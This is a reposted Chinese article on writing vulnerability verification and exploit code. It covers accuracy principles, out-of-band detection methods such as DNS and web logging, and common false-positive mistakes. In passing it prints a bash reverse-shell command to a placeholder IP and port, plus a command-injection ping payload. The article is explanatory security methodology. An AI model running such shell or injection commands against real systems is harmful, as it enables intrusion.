您当前的位置:首页 > 电脑百科 > 安全防护 > 网络安全

漏洞验证和利用代码编写指南

时间:2019-12-30 13:22:30  来源:  作者:

漏洞验证准则

已有人总结过 《漏洞检测的那些事儿》:

文章里很好的提出编写漏洞验证代码时需要注意的 三个准则 ,简单总结和补充如下:

1. 随机性

保证关键变量、数据和无明显含义要求的值应该具有随机性。

如: 上传文件的文件名,webshell 密码,print 的值,探测 404 页面使用的路径等。

2. 确定性

通过返回的内容找到唯一确定的标识来说明该漏洞是否存在。

验证漏洞尽可能达到与漏洞利用时同样的水准,勿使用单一模糊的条件去判断,如HTTP状态码、固定页面内容等来判定漏洞是否存在。

比如验证文件上传漏洞,最好上传真实的文件进行判断;验证通过不常见的API接口未授权添加管理员,仅是通过判断不常见的API接口是否存在来判定漏洞是否存在是不够的,最好是要实际去添加一个管理员用户,最后按照添加成功与否来判定这个漏洞是否存在。

3. 通用性

兼顾各个环境或平台,兼顾存在漏洞应用的多个常见版本。

勿只考虑漏洞复现的单一环境,要考虑到存在漏洞的应用的不同版本、安装应用的不同操作系统、API接口、参数名、路径前缀、执行命令等的不同情况。

4. 无损性

有效验证漏洞的前提下尽可能避免对目标造成损害。

验证漏洞时,在有效验证漏洞的前提下,尽量不改写、添加、删除数据,不上传、删除文件。可以的话,验证漏洞完毕后应恢复数据和验证漏洞前的数据一致。

漏洞验证方法

如果根据实际可操作性,对主流的漏洞验证方法定义,梳理和总结如下:

一. 直接判断

即可直接通过目标的不同响应和状态来判断目标是否存在漏洞,主要包括下面四种方法:

1. 结果回显判断

最直接的漏洞存在的判定方法,受我们的输入控制影响,目标响应中完整输出了我们期望的结果。

2. 报错回显判断

使目标处理我们输入的数据时内部错误,并在错误的输出中携带了受我们期望的结果。

3. 写数据读取判断

将结果或标志写入目标文件或数据库等类似数据存储系统,并尝试读取存储的内容来判断目标是否存在漏的方法。

4. 延时判断

通过控制在目标机器上执行的代码,让目标机器等待N秒后再响应我们的请求。

在延时SQL注入、执行命令 sleep、执行代码 sleep等漏洞判定应用场景里常有不可替代的重要作用。

二. 间接判断

通过控制目标向第三方发送信息,通过第三方是否接收到信息来判定目标是否存在漏洞,主要包括下面几种方法:

1.DNSLOG 方式判断

当目标可解析域名并且允许请求外网 DNS 服务器时使用,因为有部分机器默认允许请求外网 DNS 服务器而且防火墙也不会轻易拦截,所以此方法已被广泛使用。JAVA 反序列化中的 URLDNS payload 就是属于此判断方法。

2.WEBLOG 方式判断

在目标可以对外发送 TCP 请求时,使用 Web 服务器接收目标发送而来的请求,以此来判断我们可以控制目标发送请求到特定第三方 Web 服务器,目标存在漏洞。

虽然灵活运用各种漏洞验证方法可以有效的验证漏洞是否存在,但是对于仅使用单一方法来验证漏洞是否存在时,我倾向于下面的方法优先级:

结果回显判断 > 报错回显判断 > 写文件读取判断 > 延时判断 > DNSLOG 方式判断 > WEBLOG 方式判断

漏洞利用准则

之所以把漏洞利用和漏洞验证分开来叙述,是因为在我看来漏洞利用才是安全研究人员需要额外注意的部分,也是最能体现安全研究水平和代码编写水准的方面。

不少安全研究人员可能仅出于研究目的,或因为怕研究成果被恶意利用,再加上编写 漏洞验证 代码通常比真实的 漏洞利用 代码更为简单,所以通常仅是给出一个十分简单的漏洞验证步骤或 demo 代码。漏洞之所以被重视,根本原因是某些漏洞被利用后能对目标造成很大的损害,这不是一个 CVE 编号或者高中低危评价就能够衡量的,而是由真实的漏洞利用代码来评判的。

结合自己的漏洞利用代码编写经验,遵守的准则主要有以下几个部分:

1.结果回显优先

优先将漏洞成功利用获得的信息显示出来。

比如对于一个命令执行漏洞,漏洞利用代码应该朝着直接获得执行的命令的输出结果去努力,而不是一开始就去尝试做反弹 shell、写文件读取达到回显效果这种事。

具体说,我曾经编写过一份结合 CVE-2017-12635和CVE-2017-12636 两个漏洞的代码。CouchDB先垂直越权添加管理员用户,然后利用添加的管理员用户通过Authorization头认证,创建新数据库,将执行命令的结果存储到该数据库,最后从该数据库中读取执行命令的结果,再删除该数据库,从而达到执行命令结果回显的目的。

直接显示漏洞执行成功获得的结果拥有较高的错误兼容性,不会因为目标不能直接连接互联网、不解析域名、无权限写文件、文件路径可能不唯一等等原因导致的一些判断漏洞存在却利用不成功的情况。

2.稳定利用优先

要综合考虑到应用版本、操作系统环境、网络等原因,写出兼容各种应用版本并可以稳定复现的漏洞利用代码。

稳定利用里有两个问题需要额外注意:

一是编写的代码是否考虑到了存在漏洞的应用的不同版本之间的差异。比如 API 接口变化、路径变化等,可能会导致相当一部分的漏洞利用不成功;

二是执行代码优于执行命令。比如现在常见的一个示例的就是利用代码执行漏洞进行反弹 shell 的利用,演示用的多是利用执行类似 /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1 的命令来反弹 shell。

这里面有个降级利用的概念,即代码执行 却常被当做 命令执行 来使用,但是 代码执行 一般比命令执行可操作性更大,更稳定。

当只利用漏洞进行执行命令时,这当然没有什么问题,但是当用执行命令来反弹 shell 时,就会出现比较大的问题。比如,只适合 linux 类系统,而且有些 Docker、busybox 之类的精简环境可能没有 /bin/bash,或者不支持命令行下的反弹 shell,这些都会让漏洞利用不成功。

这种情况下的正确做法应该是优先执行一段代码,而不是降级之后的执行命令来完成复杂的操作。

3.最简利用优先

在能达到相同利用效果的情况下,选择最简单的实现路径。

比如最近的写的一个 flink-unauth-rce:

https://github.com/LandGrey/flink-unauth-rce

漏洞利用,最优雅的方式是根据 flink api 来实现执行命令回显这个功能,但是势必要花点时间去学习和构造代码,不如直接利用程序报错回显,在报错结果中提取出执行命令的结果,省时省力效果良好。

需避免的错误

1. 检测条件不充足

比如,通过 GET 请求路径

/hard-to-guest-path/there/is/vulnerable

然后判断漏洞存在的核心逻辑是状态码 200,并且响应中存在 admin 关键词。

虽然请求路径比较特殊,但是考虑到有些网站总是返回 200 状态码,并且admin作为关键词过于普通,所以容易产生误报。

2. 检测关键词放置在发包内容中

比如检测一个可以回显的 GET 型命令执行漏洞,构造了如下的 payload;

/api/ping?host=127.1|echo+79c363c6044c4c58

然后判断漏洞存在的核心逻辑是关键词 79c363c6044c4c58 出现在返回状态码是200的目标 response中。

这类将判断漏洞存在的关键词放置在 GET 请求的 URL 中,有些网站在请求不存在的路径时,也会返回 200 状态码,而且会将请求的 URL 全部返回到 response 中,这样就产生了误报。

当然,不止GET请求,POST等请求类型的漏洞验证也会存在此类问题。比如POST发包:

POST: /api/ping

DATA: host=127.1|echo+79c363c6044c4c58

有些网站在接收到不能处理的请求时,会将 POST 的所有数据包括 HTTP Header 等回显到页面,这时候判断关键词就会产生误报。

总结

规则是死的,人是活的。为了编写出符合要求的代码,在指定的要求、特殊情况下可以牺牲一些方面的准则特性来强化其他方面的准则特性。

比如,某些情况下付出 30% 的精力就可以编写出覆盖 90% 应用环境的代码,如果钻牛角尖,要付出 100% 的精力,编写出适合 99% 应用环境的代码,是无法享受漏洞研究到漏洞利用这整个过程的。

作为一名有追求的安全研究人员,不应该浅尝辄止于普通漏洞验证代码的编写,良好的漏洞利用代码的编写才能显示出漏洞的真正危害,体会到漏洞利用代码编写的精髓。



Tags:漏洞   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
log4j漏洞的形成原因已经有很多分析文章了,这里说一说我是如何在了解到有漏洞后,跟进漏洞产生原理的,以及发现的一些绕WAF tips跟进漏洞产生原因的思路如何发现漏洞产生的原因...【详细内容】
2021-12-22  Tags: 漏洞  点击:(8)  评论:(0)  加入收藏
这几天Log4j的问题消息满天飞,今天我们就一起来看看从源码角度看看这个漏洞是如何产生的。 大家都知道这次问题主要是由于Log4j中提供的jndi的功能。具体涉及到的入口类是lo...【详细内容】
2021-12-15  Tags: 漏洞  点击:(15)  评论:(0)  加入收藏
一、SQL注入漏洞SQL 注入攻击( SQL Injection ),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞。在设计程序,忽略了对输入字符串...【详细内容】
2021-12-10  Tags: 漏洞  点击:(23)  评论:(0)  加入收藏
央广网北京12月10日消息(总台央广记者管昕)近年来,互联网消费平台迅速崛起,让人足不出户就可坐享天下美食,买到物美价廉的物品。为了抢占市场,各大平台推出名目繁多的优惠券等消费...【详细内容】
2021-12-10  Tags: 漏洞  点击:(16)  评论:(0)  加入收藏
一、漏洞介绍如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。在 Microsoft Windows 2000、Windows XP 和 Windows Server 2003 系统上,攻击者可...【详细内容】
2021-09-23  Tags: 漏洞  点击:(74)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  Tags: 漏洞  点击:(67)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  Tags: 漏洞  点击:(56)  评论:(0)  加入收藏
Apple 设备系统最近面临了许多安全性方面的考验,好在在研究组织 Citizen Lab 地帮忙揭露下,最近一个名为「ForcedEntry」的攻击漏洞,已经被官方确认并提出了建议,建议所有用户安...【详细内容】
2021-09-15  Tags: 漏洞  点击:(70)  评论:(0)  加入收藏
什么是Nessus?Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件。总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件步骤如下:查看当前kali系统内核版本...【详细内容】
2021-09-09  Tags: 漏洞  点击:(112)  评论:(0)  加入收藏
入侵一些网站,电脑,制作一些病毒,学会多项编程,这是一个普通黑客都会的技能,那么真正黑客能厉害到什么程度呢?除了勒索病毒,熊猫烧香等自动感染的病毒被大家熟知外,还有更厉害的骚操...【详细内容】
2021-08-19  Tags: 漏洞  点击:(66)  评论:(0)  加入收藏
▌简易百科推荐
(报告出品方:德勤)数字化转型网络安全及转型挑战在任何行业,保持竞争力都需要快速开发新产品和 服务并推向市场。创新型业务模式不仅仅是简单地将现有 流程数字化,其正在覆盖供应...【详细内容】
2021-12-22  认是    Tags:网络安全   点击:(29)  评论:(0)  加入收藏
10月18号, W3C中网络平台孵化器小组(Web Platform Incubator Community Group)公布了HTML Sanitizer API的规范草案。这份草案用来解决浏览器如何解决XSS攻击问题。 网络安全中...【详细内容】
2021-12-07  实战Java  博客园  Tags:脚本攻击   点击:(20)  评论:(0)  加入收藏
一、背景介绍大家在Linux的日常使用中都晓得如何通过命令行去配置Linux的端口开放规则,但是大家知道如何配置Windows入站出站规则吗?有哪些常见的危险端口呢?如何解决上述问题...【详细内容】
2021-12-01  Kali与编程    Tags:防火墙   点击:(30)  评论:(0)  加入收藏
网络安全服务商Randori公司日前发布了一份调查报告,列出了网络攻击者最有可能攻击或利用的IT资产。在遭遇Solarwinds黑客攻击一周年之际,以及在网络安全(尤其是勒索软件和供应...【详细内容】
2021-10-28  企业网D1net   企鹅号  Tags:网络攻击   点击:(57)  评论:(0)  加入收藏
0x01.背景实验利用Dns Administrators 组成员,通过远程配置Dns服务,进行Dll inject从而实现特权提升。 在域内,Dns server 通常为Dc Server,Dns服务器管理基于rpc,通过调用c:\wi...【详细内容】
2021-10-22  IT影子    Tags:特权提升   点击:(37)  评论:(0)  加入收藏
本文主要介绍和总结了CSRF跨站请求伪造的基本原理和主要防范措施,工作中有用到的朋友不妨收藏转发一下,以备您参考。什么是CSRF?CSRF跨站点请求伪造(Cross—Site Request...【详细内容】
2021-10-13  快乐中恒    Tags:CSRF   点击:(49)  评论:(0)  加入收藏
waf拦截在打某市 Hvv 第一天就找到一个文件上传的点,经过测试,可以直接任意文件上传,没有什么道理。 直接尝试上传 Php 文件,被 waf 拦截了 2021最新整理网络安全/渗透测试/安...【详细内容】
2021-10-11  KaliMa    Tags:防火墙   点击:(56)  评论:(0)  加入收藏
应用程序与文件系统的交互始终是高度安全敏感的,因为较小的功能漏洞很容易成为可利用漏洞的来源。这种观察在web文件管理器的情况下尤其正确,其作用是复制完整文件系统的功能...【详细内容】
2021-09-17  IT野涵    Tags:漏洞链   点击:(56)  评论:(0)  加入收藏
您的苹果手机尽管iPhone比Android更安全,但也可以通过各种方式入侵。避免黑客入侵的最佳方法是警惕奇怪的链接或粗略的应用程序,并仅在必要时提供信息。电池寿命差和性能低下...【详细内容】
2021-09-16  Hackers爱好者    Tags:黑客入侵   点击:(633)  评论:(0)  加入收藏
防火墙一般布置在逻辑区域的入口处,位于三层网络架构的核心和汇聚之间,起到隔离逻辑区域,为逻辑区域创建安全策略的作用。 上面就是应用区的防火墙布置方式,他布置在应用区,可以...【详细内容】
2021-09-03  知来知去    Tags:主备模式防火墙   点击:(109)  评论:(0)  加入收藏
最新更新
栏目热门
栏目头条